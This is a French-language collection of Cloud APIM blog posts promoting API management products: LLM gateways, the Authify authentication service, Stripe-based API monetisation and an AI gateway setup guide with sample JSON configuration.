  En standardisant la manière dont les données sont partagées entre plateformes, les API permettent aux modèles d’IA de traiter et d’analyser rapidement de vastes jeux de données pour produire des prédictions et des analyses précises.
Une intégration fluide des services d’IA
- Les API simplifient l’intégration de fonctionnalités d’IA dans les applications existantes.
  
  Les entreprises peuvent s’appuyer sur les API de fournisseurs de services d’IA comme OpenAI pour ajouter à leurs produits des fonctionnalités intelligentes : chatbots, classification d’images ou traduction automatique.
  
  Cette approche plug-and-play réduit les délais et les coûts de développement.
Évolutivité et flexibilité
- Les API offrent un moyen souple de faire évoluer les capacités d’IA au rythme des besoins de l’entreprise. Les organisations peuvent commencer par des fonctionnalités d’IA de base, puis ajouter au fil du temps des fonctionnalités plus avancées en intégrant de nouvelles API ou en changeant de fournisseur de services d’IA.
  
  Cette approche modulaire facilite l’extension et la personnalisation des solutions d’IA.
Une meilleure interopérabilité entre les systèmes
- Dans un monde où les entreprises utilisent une grande variété d’outils logiciels, les API permettent à des systèmes différents de fonctionner ensemble sans friction.
  
  Par exemple, un système de gestion de la relation client (CRM) doté d’IA peut utiliser des API pour récupérer des données d’un ERP (progiciel de gestion intégré) afin d’affiner sa connaissance des clients, ce qui améliore l’ensemble des processus de décision.

Cas concrets : les API au service de l’IA dans tous les secteurs

L’importance des API pour l’IA apparaît clairement quand on observe comment différents secteurs utilisent ces technologies pour transformer leurs activités :

Santé : les API d’IA servent à intégrer des outils d’analyse prédictive et d’aide au diagnostic dans les dossiers patients informatisés (DPI), ce qui aide les professionnels de santé à améliorer la prise en charge des patients grâce à des analyses fondées sur les données.
Finance : les institutions financières utilisent des API pour intégrer l’IA à la détection de fraude, à l’évaluation des risques et à l’automatisation du service client. Les opérations bancaires gagnent ainsi en efficacité et en sécurité.
E-commerce : les commerçants en ligne utilisent des API d’IA pour améliorer les recommandations de produits, la gestion des stocks et le marketing personnalisé, et offrir ainsi à leurs clients une expérience d’achat plus engageante et plus efficace.

Pourquoi « Pas d’IA sans API » est la nouvelle norme

La formule « Pas d’IA sans API » traduit une nouvelle réalité dans le monde de la tech : l’IA ne peut révéler tout son potentiel qu’avec une gestion et une intégration efficaces des API.

Voici quelques raisons pour lesquelles c’est désormais la norme :

Une mise sur le marché plus rapide
- En s’appuyant sur des capacités d’IA prêtes à l’emploi via des API, les entreprises peuvent lancer plus vite des fonctionnalités basées sur l’IA et prendre un avantage concurrentiel. Les délais de développement sont bien plus courts que lorsqu’on construit des modèles d’IA à partir de zéro.
Une meilleure maîtrise des coûts
- Les API abaissent la barrière à l’entrée pour mettre en œuvre l’IA, et la rendent plus accessible aux PME. Plutôt que d’investir massivement dans des équipes de data science, les entreprises peuvent utiliser des API pour doter leurs applications de fonctionnalités d’IA pour une fraction du coût.
Standardisation et cohérence
- Les API favorisent une approche standardisée de l’intégration de l’IA sur différentes plateformes et différents services, ce qui garantit des performances et des résultats cohérents. Elles réduisent ainsi la complexité liée à la gestion d’outils et de technologies d’IA disparates.

L’avenir de l’IA et des API : tendances et opportunités

À l’avenir, la relation entre IA et API va continuer d’évoluer, avec des tendances comme :

La génération automatique d’API : des outils qui génèrent automatiquement des API pour les modèles d’IA simplifieront encore davantage l’intégration et permettront un déploiement rapide des capacités d’IA.
Les marketplaces d’API pour les services d’IA : ces plateformes proposeront une sélection de fonctionnalités d’IA accessibles via des API standardisées, pour aider les entreprises à trouver et à mettre en œuvre plus facilement des solutions d’IA.
Des mesures de sécurité renforcées : à mesure que les API d’IA se généralisent, l’accent sera davantage mis sur les protocoles de sécurité qui protègent les données et garantissent la conformité réglementaire.

Conclusion

La formule « Pas d’IA sans API » reflète le rôle essentiel des API dans le développement et le déploiement des solutions d’IA.

Elles facilitent l’accès aux données, simplifient l’intégration des services d’IA et permettent aux entreprises de faire évoluer efficacement leurs capacités d’IA.

Alors que l’IA continue de façonner l’avenir de la technologie, la synergie entre API et IA sera déterminante pour stimuler l’innovation dans tous les secteurs.

En tirant parti de cette relation, les entreprises peuvent garder une longueur d’avance sur la concurrence et exploiter tout le potentiel de l’IA grâce à une gestion efficace de leurs API.

📡 Restez connecté

Suivez notre blog pour découvrir les dernières nouveautés, astuces et bonnes pratiques autour de Cloud APIM Authify.

🏢 À propos de Cloud APIM

Cloud APIM propose des solutions managées de pointe pour l’API management, qui permettent aux entreprises d’exploiter toute la puissance de leurs API, simplement et efficacement.

Notre engagement pour l’innovation et l’excellence nous pousse à offrir à nos clients les outils les plus avancés et des services qui les aident à atteindre leurs objectifs de transformation numérique.

Les produits Cloud APIM

Otoroshi Managed Instances : des clusters Otoroshi entièrement managés, parfaitement configurés et optimisés, prêts en quelques secondes

Serverless permet des déploiements scalables sans gestion d’infrastructure.

Wasmo apporte une exécution WebAssembly légère.

Authify simplifie l’authentification grâce à une intégration rapide et sécurisée.

Qu'est-ce qu'une LLM AI Gateway ? Simplifier l'intégration de l'IA dans l'API management moderne

Thomas Delafaye — Wed, 23 Oct 2024 09:00:28 GMT

Introduction

L’IA est devenue omniprésente dans notre monde et permet d’étendre considérablement les capacités des outils que nous utilisons au quotidien.

Intégrer l’IA dans nos solutions logicielles est devenu indispensable.

Les grands modèles de langage (LLM), comme GPT, ont fait des progrès impressionnants en traitement du langage naturel, et rendent possibles des fonctionnalités d’IA avancées dans de nombreuses applications.

Mais comment connecter efficacement ces outils puissants aux systèmes existants ?

C’est là qu’interviennent les LLM Gateways. Dans cet article, nous verrons l’intérêt de les intégrer à une API gateway sécurisée et personnalisée selon vos besoins et ceux de vos projets.

🔍 Qu’est-ce qu’une LLM Gateway ?

Les LLM Gateways sont des solutions spécialisées qui facilitent l’intégration des grands modèles de langage dans les applications et les infrastructures existantes.

Elles jouent le rôle d’intermédiaire et simplifient l’ajout de fonctionnalités d’IA en offrant une connexion sécurisée et scalable aux LLM, sans configuration complexe.

🌐 Comment fonctionnent les LLM Gateways

Les LLM Gateways fluidifient la communication entre les modèles d’IA et les applications grâce aux fonctionnalités suivantes :

Interface unifiée : une API commune qui prend en charge différents LLM, pour permettre aux développeurs de passer facilement d’un modèle à l’autre et de gérer plusieurs services d’IA.
Routage efficace : routez les requêtes vers différents modèles d’IA en fonction du cas d’usage, de la charge ou des besoins des utilisateurs.
Contrôles de sécurité : des mesures de sécurité avancées encadrent les flux de données, pour protéger les informations sensibles échangées avec les services d’IA.
Scalabilité : une montée en charge performante pour absorber les variations de charge et garantir une expérience utilisateur fluide.

💡 Les avantages des LLM Gateways

Intégrer des LLM Gateways présente de nombreux avantages :

Un time-to-market plus court : déployez rapidement des fonctionnalités d’IA avec un minimum de configuration et accélérez vos cycles de développement.
Des développeurs plus productifs : concentrez-vous sur la création de fonctionnalités innovantes plutôt que sur des intégrations d’IA complexes.
Des coûts maîtrisés : optimisez l’utilisation des ressources d’IA en orientant chaque charge de travail vers le modèle le plus adapté, pour mieux contrôler vos coûts.
Plus de flexibilité : changez facilement de modèle d’IA ou ajoutez-en de nouveaux pour suivre l’évolution de vos besoins, sans perturber vos opérations.

📊 Les cas d’usage les plus courants des LLM Gateways

Les LLM Gateways ouvrent de nombreuses possibilités dans tous les secteurs :

Automatisation du support client : enrichissez vos chatbots avec des LLM pour obtenir des réponses plus précises et mieux adaptées au contexte.
Génération de contenu : automatisez la création de supports marketing, de publications pour les réseaux sociaux ou de documentation technique grâce aux modèles de langage.
Analyse de sentiment : utilisez les LLM pour analyser les retours utilisateurs, les données des réseaux sociaux ou les avis clients, afin de prendre le pouls de l’opinion et d’éclairer votre stratégie.
Recommandations personnalisées : proposez des suggestions de produits ou de contenus sur mesure, à partir de requêtes formulées en langage naturel par vos utilisateurs.

🎉 Les LLM Gateways sont disponibles sur Cloud APIM

Vous souhaitez intégrer des LLM Gateways à vos projets ?

Cloud APIM propose une solution complète pour intégrer des capacités LLM et enrichir facilement vos applications grâce à l’IA.

Avec Cloud APIM, vous vous connectez rapidement à plusieurs fournisseurs de LLM via une interface unifiée, pour des intégrations d’IA aussi flexibles et scalables que l’exige votre activité.

Notre offre Serverless et nos instances Otoroshi managées vous permettent de créer directement vos propres LLM gateways, sans difficulté et sans compétences techniques particulières.

Conclusion

Les LLM Gateways façonnent l’avenir de l’intégration de l’IA, avec une approche simplifiée pour exploiter tout le potentiel des modèles de langage. Qu’il s’agisse d’améliorer l’expérience client, d’automatiser la création de contenu ou de tirer des enseignements de vos données, ces gateways vous donnent les outils nécessaires pour accélérer votre transformation numérique. Découvrez les LLM Gateways avec Cloud APIM et faites passer vos capacités d’IA à la vitesse supérieure.

📡 Restez informé

Suivez notre blog pour ne rien manquer des nouveautés, astuces et bonnes pratiques autour de Cloud APIM Authify.

🏢 À propos de Cloud APIM

Cloud APIM propose des solutions managées de pointe pour l’API management, qui permettent aux entreprises d’exploiter toute la puissance de leurs API, simplement et efficacement.

Notre engagement en faveur de l’innovation et de l’excellence nous pousse à offrir à nos clients les outils et les services les plus avancés, pour les aider à atteindre leurs objectifs de transformation numérique.

Les produits Cloud APIM

Otoroshi Managed Instances : des clusters Otoroshi entièrement managés, parfaitement configurés et optimisés, prêts en quelques secondes

Serverless permet des déploiements scalables sans gestion d’infrastructure.

Wasmo apporte une exécution WebAssembly légère.

Authify simplifie l’authentification grâce à une intégration rapide et sécurisée.

🚀 Découvrez Cloud APIM Authify : intégrez instantanément une solution d'authentification complète, sans effort

Thomas Delafaye — Thu, 17 Oct 2024 08:09:54 GMT

Gérer l’authentification de vos sites web et de vos applications peut vite devenir long et complexe.

C’est là qu’intervient Cloud APIM Authify 🤩

Authify est une solution d’authentification tout-en-un et facile à utiliser, qui vous permet de gérer en toute sécurité l’accès des utilisateurs à vos applications, sans passer des heures, voire des jours, à la configurer.

Que vous travailliez sur des applications web, des applications mobiles ou des services cloud, Authify simplifie la mise en place d’une authentification sécurisée pour vos utilisateurs.

Notre outil innovant vous permet d’intégrer rapidement une authentification sécurisée à vos projets, sans prise de tête.

🤔 Qu’est-ce que Cloud APIM Authify ?

Cloud APIM Authify est une solution d’authentification simple mais puissante, qui prend en charge les standards du marché comme OAuth 2.0 et OpenID Connect.

En quelques clics, vous sécurisez vos applications et gérez facilement l’accès de vos utilisateurs.

🔑 Fonctionnalités clés

Mise en place instantanée : ajoutez l’authentification en quelques minutes, pas en quelques jours ! ⏱️
Une sécurité qui passe à l’échelle : idéale aussi bien pour les petites applications que pour les projets d’entreprise. 🔐
Contrôle d’accès basé sur les rôles : gérez facilement les rôles et les permissions de vos utilisateurs. 🎯

👀 Pourquoi choisir Authify ?

Intégration rapide et facile – Lancez-vous sans prise de tête.
Tableau de bord intuitif – Pilotez vos paramètres d’authentification sans effort.
Sécurisé et scalable – Protégez vos utilisateurs sans sacrifier les performances.

🚀 Essayez la bêta d’Authify dès maintenant

Découvrez l’avenir de l’authentification avec Authify Beta.

Mettez en place un accès sécurisé en quelques secondes et simplifiez le développement de vos applications.

👉 Rejoignez la bêta dès aujourd’hui et simplifiez l’authentification de tous vos projets !

📡 Restez connectés

Suivez notre blog pour ne rien manquer des dernières nouveautés, astuces et bonnes pratiques autour de Cloud APIM Authify.

🏢 À propos de Cloud APIM

Cloud APIM propose des solutions managées de pointe pour l’API management, qui permettent aux entreprises d’exploiter tout le potentiel de leurs API avec simplicité et efficacité. Notre engagement en faveur de l’innovation et de l’excellence nous pousse à offrir à nos clients les outils les plus avancés et des services qui les aident à atteindre leurs objectifs de transformation numérique.

Les produits Cloud APIM

Otoroshi Managed Instances : des clusters Otoroshi entièrement managés, parfaitement configurés et optimisés, prêts en quelques secondes

Serverless permet des déploiements scalables sans gestion d’infrastructure.

Wasmo apporte une exécution WebAssembly légère.

Authify simplifie l’authentification grâce à une intégration rapide et sécurisée.

💸 Générez des revenus : monétisez efficacement vos API avec Cloud APIM Serverless

Thomas Delafaye — Thu, 12 Sep 2024 13:23:35 GMT

Les API ne sont pas de simples outils d’intégration : ce sont aussi des produits à part entière, capables de générer des revenus importants.

Cloud APIM Serverless vous aide à monétiser vos API, pour que vous puissiez vous concentrer sur l’innovation tout en maximisant votre rentabilité.

Dans cet article, nous vous guidons pas à pas pour mettre en place une monétisation simple de votre API avec Cloud APIM Serverless.

💡 Pourquoi monétiser votre API ?

Générer des revenus : faites de votre API une source de revenus en proposant un accès payant.
Favoriser l’innovation : incitez les développeurs à construire sur votre plateforme en leur proposant des fonctionnalités premium de grande qualité.
Maîtriser l’usage : mettez en place des paliers d’utilisation et du rate limiting pour garantir une utilisation équitable et optimale des ressources.

🚀 Premiers pas avec la monétisation d’API

Inscrivez-vous sur Cloud APIM Serverless :

Avant de mettre en place la monétisation, assurez-vous d’avoir créé un projet sur Cloud APIM Serverless.

Si ce n’est pas encore fait, suivez ces étapes :
- Connectez-vous à votre tableau de bord Cloud APIM Serverless.
- Cliquez sur « New project » et saisissez le nom de votre projet.
Configurez vos plans de facturation :
- Rendez-vous dans la section Developer portal des paramètres de votre API.
- Cliquez sur Dev portal Plans et configurez vos plans.
  
  Pour cet exemple, créons 3 plans :
  - Formule Silver : proposez un accès de base avec un usage limité.
  - Formule Gold : proposez, moyennant paiement, des fonctionnalités supplémentaires et des limites d’utilisation plus élevées.
  - Formule Diamond : toutes les fonctionnalités incluses dans Silver & Gold, et bien plus encore.
Configurez l’intégration Stripe :
- Créez un compte sur Stripe (https://stripe.com/)
- Rendez-vous sur votre Dashboard et créez vos produits (Silver, Gold et Diamond), comme dans notre exemple.
- Créez une Pricing table et ajoutez-y vos 3 produits.
Cliquez ensuite sur Continue et passez à l’étape Payment Page.

Pour chaque produit, choisissez Don’t show Confirmation page et indiquez votre lien, par exemple https://my-project-domain.cloud-apim.dev/docs/subloading?session_id={CHECKOUT_SESSION_ID}

Remplacez le nom de domaine par celui de votre projet Serverless

![](https://www.cloud-apim.com/serverless/documentation/assets/images/stripe-pricing-table-change-redirect-uri-4c3e73b928be2ad7f005de508d1f45e7.png align=“left”)

![](https://www.cloud-apim.com/serverless/documentation/assets/images/stripe-pricing-table-change-redirect-uri-foreach-ccc10e870e0ceea53c6b967c4dd59c81.png align=“left”)

Une fois tous vos plans configurés dans votre pricing table, vous pouvez cliquer sur Finish.

![](https://www.cloud-apim.com/serverless/documentation/assets/images/stripe-pricing-table-finish-step-ac46e2c8967184448f25540b6469f26d.png align=“left”)

Copiez maintenant votre STRIPE_PRICING_TABLE_ID : vous allez l’ajouter à vos variables d’environnement juste après.

![](https://www.cloud-apim.com/serverless/documentation/assets/images/stripe-pricing-table-settings-a9157ae16d48d7220a560b3c5114179d.png align=“left”)

Configurez les webhooks Stripe

Rendez-vous dans la section Developers de votre Dashboard Stripe et sélectionnez l’onglet Webhooks.

Cliquez sur + add endpoint et remplissez le formulaire comme ci-dessous :

![](https://www.cloud-apim.com/serverless/documentation/assets/images/webhook-form-1a60ae0ff1fcaa58d1229a121cd2fe9e.png align=“left”)

Indiquez https://hooks.cloud-apim.com/serverless/stripe comme URL d’endpoint.

![](https://www.cloud-apim.com/serverless/documentation/assets/images/webhook-form-select-events-60496453a84d4fefa2bdc7055433e921.png align=“left”)

En bas du formulaire, dans la section Select events to listen to, sélectionnez les événements suivants :

customer.subscription.deleted, customer.subscription.updated et checkout.session.completed

![](https://www.cloud-apim.com/serverless/documentation/assets/images/webhook-form-completed-f82a72d1cbd1da9071ccdc31b34b932f.png align=“left”)

Votre projet est maintenant configuré. Cliquez sur Add endpoint pour enregistrer vos modifications.

Gérez vos variables d’environnement

Retournez dans votre projet Cloud APIM Serverless et configurez les 3 $.env.variables nécessaires à votre projet.

Vous devez définir 3 variables d’environnement : STRIPE_PRICING_TABLE_ID, STRIPE_PUB_KEY et STRIPE_SECRET_KEY.

Pour cela, suivez les captures d’écran ci-dessous :

![](https://www.cloud-apim.com/serverless/documentation/assets/images/stripe-display-env-var-2a181ba499ee40d1ca0b4b99ca2b9ba9.png align=“left”)

![](https://www.cloud-apim.com/serverless/documentation/assets/images/stripe-env-add-var-c55f7685dd061af5a04f824bff5f08a5.png align=“left”)

![](https://www.cloud-apim.com/serverless/documentation/assets/images/stripe-fill-env-var-8e6060fa0e79d2e32b0a1e6765721b12.png align=“left”)

Enregistrez ensuite votre nouvelle variable et répétez l’opération pour les autres variables.

![](https://www.cloud-apim.com/serverless/documentation/assets/images/stripe-fill-env-var-result-6b87b9b1939eaf8a8fb6abd64ac4406a.png align=“left”)

Configurez votre portail développeur

Nous arrivons presque au bout de la configuration !

Il ne vous reste plus qu’à configurer votre portail en activant la monétisation et en paramétrant vos différents plans.

Dans l’éditeur du portail développeur, collez simplement le code suivant :

"monetisation": {
    "enabled": true,
    "provider": "stripe",
    "config" : {
      "pricing_table_id" : "${environment.STRIPE_PRICING_TABLE_ID}",
      "pub_key" : "${environment.STRIPE_PUB_KEY}",
      "secret_key" : "${environment.STRIPE_SECRET_KEY}"
    } 
 }

Suivez la procédure : https://www.cloud-apim.com/serverless/documentation/docs/Monetisation/portal-conf

🌟 Les avantages de la monétisation avec Cloud APIM Serverless

Une mise en place simplifiée : configurez facilement vos plans de facturation et l’intégration du paiement, sans écrire beaucoup de code.
Des solutions évolutives : faites évoluer votre stratégie de monétisation au rythme de la croissance de votre base d’utilisateurs.
Des analyses complètes : suivez l’utilisation de votre API et vos revenus grâce à des statistiques et des rapports détaillés.
Des transactions sécurisées : garantissez un traitement sécurisé des paiements grâce à des passerelles de paiement de confiance.
Une meilleure expérience développeur : proposez un portail développeur convivial qui simplifie la gestion des abonnements et l’accès aux API.

Documentation

Pour aller plus loin, consultez notre documentation sur la monétisation : https://www.cloud-apim.com/serverless/documentation/docs/category/add-monetisation

🎉 Conclusion

Monétiser votre API avec Cloud APIM Serverless est un moyen simple et efficace de créer de nouvelles sources de revenus tout en apportant de la valeur à vos utilisateurs.

Grâce aux fonctionnalités de monétisation robustes de la plateforme, vous mettez en place vos plans de facturation, gérez les abonnements et traitez les paiements en toute simplicité.

Commencez dès aujourd’hui à monétiser votre API et transformez votre innovation en revenus avec Cloud APIM Serverless !

🚀 Lancez-vous dès maintenant

Prêt à vous lancer avec Cloud APIM Serverless ?

Inscrivez-vous dès maintenant et faites le premier pas vers un API management sécurisé et efficace !

📡 Restez informé

Suivez notre blog pour ne rien manquer des nouveautés, astuces et bonnes pratiques autour de Cloud APIM Serverless et de l’API management.

🏢 À propos de Cloud APIM

Cloud APIM propose des solutions managées de pointe pour l’API management, qui permettent aux entreprises d’exploiter toute la puissance de leurs API, simplement et efficacement. Notre engagement en faveur de l’innovation et de l’excellence nous pousse à offrir à nos clients les outils et les services les plus avancés, pour les aider à atteindre leurs objectifs de transformation numérique.

✨ Pourquoi l'API management est-il essentiel pour votre entreprise ? 📈

Thomas Delafaye — Tue, 16 Jul 2024 07:23:25 GMT

Dans un monde numérique qui évolue à toute vitesse, les API sont la colonne vertébrale du développement logiciel moderne.

Les API permettent à des systèmes logiciels différents de communiquer entre eux, ce qui favorise l’innovation et fluidifie les processus.

Pourtant, une gestion efficace de ces API est essentielle pour que les entreprises en exploitent tout le potentiel.

C’est là qu’intervient l’API management.

Dans cet article, nous verrons pourquoi l’API management est crucial pour votre entreprise et comment il peut contribuer à sa réussite.

🛡️ Une sécurité renforcée

Protégez vos données et vos systèmes

La sécurité est une priorité absolue pour toute entreprise, en particulier lorsque ses API exposent des données et des services critiques.

L’API management apporte des mesures de sécurité robustes comme l’authentification, l’autorisation, le chiffrement et la détection des menaces.

En mettant en place ces contrôles, les entreprises protègent leurs données contre les accès non autorisés et les cybermenaces.

Sécurité - Exemple :

OAuth2, par exemple, est un framework d’autorisation couramment utilisé en API management pour garantir que seuls les utilisateurs authentifiés peuvent accéder à certaines ressources.

Cela empêche les accès non autorisés et protège les informations sensibles.

⚡ De meilleures performances

Optimisez et surveillez l’utilisation de vos API

La performance est la clé de la satisfaction des utilisateurs et de l’efficacité opérationnelle.

Les outils d’API management proposent des fonctionnalités de monitoring et d’analyse qui aident les entreprises à suivre les performances de leurs API, leurs usages et leurs temps de réponse.

Ces données sont précieuses pour identifier les goulets d’étranglement, optimiser les endpoints et garantir le bon fonctionnement du système.

Monitoring - Exemple :

Une entreprise peut s’appuyer sur l’API management pour surveiller les appels d’API lors des pics d’activité, et ainsi repérer et corriger les ralentissements de façon proactive pour maintenir un haut niveau de performance et de fiabilité.

📈 Scalabilité

Gérez et faites évoluer vos API sans effort

À mesure qu’une entreprise grandit, l’utilisation de ses API augmente généralement.

Les plateformes d’API management offrent la scalabilité nécessaire pour absorber cette croissance.

Elles permettent de faire évoluer l’infrastructure d’API en toute fluidité, pour absorber un trafic plus important sans sacrifier les performances.

Scalabilité - Exemple :

Un distributeur confronté à un pic de trafic pendant les soldes de fin d’année peut compter sur l’API management pour adapter automatiquement ses ressources d’API et offrir une expérience d’achat fluide à ses clients.

🔗 Une intégration fluide

Connectez des systèmes et des plateformes différents

L’API management facilite l’intégration de systèmes et de plateformes variés, et permet aux entreprises de bâtir un écosystème numérique cohérent.

Cette intégration fluide simplifie les opérations, améliore l’efficacité et favorise l’innovation.

Intégration fluide - Exemple :

Une plateforme d’e-commerce peut s’intégrer, via des API, à différentes passerelles de paiement, services de livraison et systèmes de gestion des stocks, le tout géré de façon centralisée pour garantir un fonctionnement cohérent et fiable.

🌐 Indépendance technologique

De la flexibilité, quelles que soient les technologies

L’un des grands avantages de l’API management moderne est d’être agnostique vis-à-vis des technologies.

Les entreprises peuvent ainsi intégrer et gérer des API sur des stacks techniques et des plateformes variées, sans dépendre d’un fournisseur ou d’une technologie en particulier.

Cette flexibilité permet aux organisations d’adopter les outils et services les mieux adaptés à leurs besoins, au profit de l’innovation et de l’agilité.

Indépendance technologique - Exemple :

Une société de services financiers peut utiliser une plateforme d’API management pour intégrer les API de différents acteurs de la fintech, quelle que soit la technologie utilisée par chacun.

Elle garantit ainsi un fonctionnement fluide et reste libre de choisir les meilleures solutions, sans se soucier de compatibilité.

🌟 Une meilleure expérience utilisateur

Proposez des services cohérents et fiables

L’expérience utilisateur est déterminante pour la réussite de toute entreprise.

L’API management garantit que les API fournissent aux utilisateurs des services cohérents, fiables et de qualité.

En gérant le versioning des API, en surveillant les performances et en garantissant la disponibilité, les entreprises offrent une expérience utilisateur de premier ordre.

UX - Exemple :

Une application mobile qui s’appuie sur plusieurs API pour la météo, la géolocalisation ou l’intégration aux réseaux sociaux peut s’assurer que toutes ces API fonctionnent de façon optimale, et offrir ainsi à ses utilisateurs une expérience fluide et agréable.

✨ Conclusion

L’API management n’est pas qu’une nécessité technique : c’est un atout stratégique, moteur de croissance et d’innovation.

En renforçant la sécurité, en améliorant les performances, en assurant la scalabilité, en facilitant l’intégration et en garantissant une meilleure expérience utilisateur, l’API management aide les entreprises à tirer le meilleur parti de leurs API.

Investir dans des solutions d’API management robustes est indispensable pour rester compétitif dans le paysage numérique actuel.

Adoptez l’API management pour saisir de nouvelles opportunités, gagner en efficacité et apporter une valeur exceptionnelle à vos clients.

🚀 Lancez-vous dès maintenant

Prêt à vous lancer avec Cloud APIM Serverless ?

Inscrivez-vous dès maintenant et faites le premier pas vers un API management sécurisé et efficace !

🎥 Vidéos YouTube

https://www.youtube.com/@CloudAPIM

📡 Restez informé

Suivez notre blog pour ne rien manquer des nouveautés, astuces et bonnes pratiques autour de Cloud APIM Serverless et de l’API management.

🏢 À propos de Cloud APIM

🚀 Libérez tout le potentiel de votre API gateway avec l'IA : un guide simple pour créer votre première AI Gateway 🤖

Thomas Delafaye — Mon, 08 Jul 2024 14:18:38 GMT

Aujourd’hui, l’IA révolutionne notre façon d’interagir avec la technologie.

L’une de ses applications les plus puissantes concerne nos API gateways : l’IA peut y enrichir les fonctionnalités, renforcer la sécurité et améliorer l’expérience utilisateur.

Dans ce nouvel article, nous vous guidons pas à pas dans la création de vos premières entités de fournisseur d’IA et de contexte, pour tirer parti de l’IA dans votre API management.

Guide pas à pas pour créer vos entités de fournisseur d’IA et de contexte

1. Créez votre projet Serverless

Commencez par vous inscrire sur Cloud APIM et créez votre premier projet pour utiliser nos plugins d’IA.

Si vous n’en avez pas encore créé, suivez ces étapes :

Rendez-vous sur https://www.cloud-apim.com/fr
Connectez-vous à votre tableau de bord Cloud APIM Serverless.
Cliquez sur « New project » et saisissez le nom de votre projet.

2. Clonez ou forkez notre dépôt Git

Rendez-vous sur notre dépôt modèle pour les plugins d’IA https://github.com/cloud-apim/otoroshi-llm-extension-serverless-example

Clonez-le ou forkez-le vers votre dépôt personnel.

git clone https://github.com/cloud-apim/otoroshi-llm-extension-serverless-example.git

Ce dépôt hébergera toute la configuration de votre projet Serverless 😁

3. Choisissez votre fournisseur d’IA

Cloud APIM prend en charge plusieurs fournisseurs, utilisables via ses plugins :

OpenAI
Azure OpenAI
Ollama
Mistral
Anthropic

Récupérez votre token d’API afin de configurer l’entité AI Provider dans votre projet Cloud APIM Serverless.

4. Configurez vos variables d’environnement

Sécurisons maintenant le token d’API de votre fournisseur d’IA.

Pour cela, nous allons utiliser une variable d’environnement définie comme variable secrète de votre projet.

Allez sur le tableau de bord de votre projet et cliquez sur « Create a new environment variable ». Nommez-la, par exemple, AI_PROVIDER_TOKEN et collez le token de votre fournisseur d’IA dans le champ de valeur, sous le nom.

Il ne reste plus qu’à enregistrer !

5. Configurez votre entité AI Provider

Rendez-vous maintenant dans votre fichier entities/ai.json.

Ouvrez-le : vous allez y renseigner le nom de votre fournisseur et le token associé.

Mettez à jour la propriété "provider" ; par défaut, nous avons défini "provider" : "openai"

Mettez ensuite à jour la propriété connection en ajoutant l’URL de l’endpoint de l’API et la propriété token, liée au nom de votre variable d’environnement.

Par exemple : "token": "${environment.AI_PROVIDER_TOKEN}"

Enfin, définissez le modèle que vous souhaitez utiliser en mettant à jour la propriété options.

Exemple avec le modèle GPT 3.5 Turbo : "model": "gpt-3.5-turbo"

Voici un exemple d’entité « AiProvider » :

{
		"_loc": {
			"tenant": "default",
			"teams": ["default"]
		},
		"id": "provider-openai",
		"name": "OpenAI",
		"description": "",
		"metadata": {},
		"tags": [],
		"provider": "openai",
		"connection": {
			"base_url": "https://api.openai.com",
			"token": "${environment.AI_PROVIDER_TOKEN}",
			"timeout": 30000
		},
		"options": {
			"model": "gpt-3.5-turbo",
			"frequency_penalty": null,
			"logit_bias": null,
			"logprobs": null,
			"top_logprobs": null,
			"max_tokens": null,
			"n": 1,
			"presence_penalty": null,
			"response_format": null,
			"seed": null,
			"stop": null,
			"stream": false,
			"temperature": 1,
			"top_p": 1,
			"tools": null,
			"tool_choice": null,
			"user": null
		},
		"kind": "AiProvider"
	}

N’oubliez pas de créer et d’adapter votre variable d’environnement pour utiliser le token de votre fournisseur d’IA.

Dans notre démonstration, nous avons choisi AI_PROVIDER_TOKEN comme nom de variable d’environnement.

Vous pouvez aussi stocker dans vos variables d’environnement l’URL de base de l’API, comme https://api.openai.com pour OpenAI, ou encore le modèle à utiliser.

6. Créez l’entité de contexte

Dans votre fichier entities/ai.json, ajoutez une entité « AiPromptContext ».

Voici un exemple d’entité « AiPromptContext » :

{
	"_loc": {
		"tenant": "default",
		"teams": ["default"]
	},
	"id": "ai-context",
	"name": "AI Context",
	"description": "",
	"metadata": {},
	"tags": {},
	"messages": [
		{
            "role": "system",
            "content": "Cloud APIM is a french company that provides API Management as a Service through managed Otoroshi instances, Serverless projects, etc"
        }
	],
	"kind": "AiPromptContext"
}

7. Créez votre endpoint d’API

N’oubliez pas d’ajouter le plugin LLM proxy à votre route de contexte !

Voici un exemple OpenAPI qui utilise le plugin « AiPromptContext ».

{
	"openapi": "3.1.0",
	"info": {
		"title": "AI Plugins for Cloud-APIM Serverless Projects",
		"version": "1.0.0",
		"description": "An easy getting started project template to use AI in your Cloud-APIM Serverless projects",
		"contact": {
			"name": "Cloud APIM Default contact address",
			"url": "https://www.cloud-apim.com",
			"email": "contact@cloud-apim.com"
		},
		"x-logo-none": {
			"url": "https://www.cloud-apim.com/assets/logo/cloud-apim-logo-inverted.png"
		}
	},
	"tags": [],
	"paths": {
		"/context": {
			"post": {
				"tags": [],
				"summary": "",
				"operationId": "getAIContext",
				"x-cloud-apim-backend": {
					"$ref": "#/components/x-cloud-apim-backends/mirror"
				},
				"x-cloud-apim-plugins": {
					"$ref": "#/components/x-cloud-apim-plugins/context"
				}
			}
		}
	},
	"components": {
		"x-cloud-apim-plugins": {
			"context": [
				{
					"enabled": true,
					"debug": false,
					"plugin": "cp:otoroshi.next.plugins.OverrideHost",
					"include": [],
					"exclude": [],
					"config": {}
				},
				{
					"enabled": true,
					"debug": false,
					"plugin": "cp:otoroshi_plugins.com.cloud.apim.otoroshi.extensions.aigateway.plugins.AiLlmProxy",
					"include": [],
					"exclude": [],
					"config": {
						"ref": "provider-openai"
					}
				},
				{
					"enabled": true,
					"debug": false,
					"plugin": "cp:otoroshi_plugins.com.cloud.apim.otoroshi.extensions.aigateway.plugins.AiPromptContext",
					"include": [],
					"exclude": [],
					"config": {
						"ref": "ai-context"
					}
				}
			]
		},
		"x-cloud-apim-backends": {
			"mirror": {
				"targets": [
					{
						"hostname": "mirror.otoroshi.io",
						"port": 443,
						"tls": true
					}
				],
				"root": "/",
				"rewrite": false
			}
		}
	}
}

8. Pour aller plus loin

Vous pouvez aller plus loin en ajoutant des clés d’API pour sécuriser vos endpoints d’IA, et utiliser bien d’autres plugins proposés par Cloud APIM.

Les possibilités de personnalisation de vos endpoints d’API sont illimitées.

✨ Conclusion

Créer votre première entité de fournisseur d’IA et votre première entité de contexte peut considérablement enrichir les capacités de votre API gateway.

En intégrant l’IA, vous offrez à vos utilisateurs des expériences plus intelligentes, plus sûres et personnalisées.

Suivez les étapes de ce guide pour vous lancer dans l’IA et exploiter tout le potentiel de votre API management.

Pour vous aider à prendre en main notre nouvelle gamme de plugins, nous avons créé une playlist YouTube qui regroupe toutes nos vidéos sur l’AI Gateway.

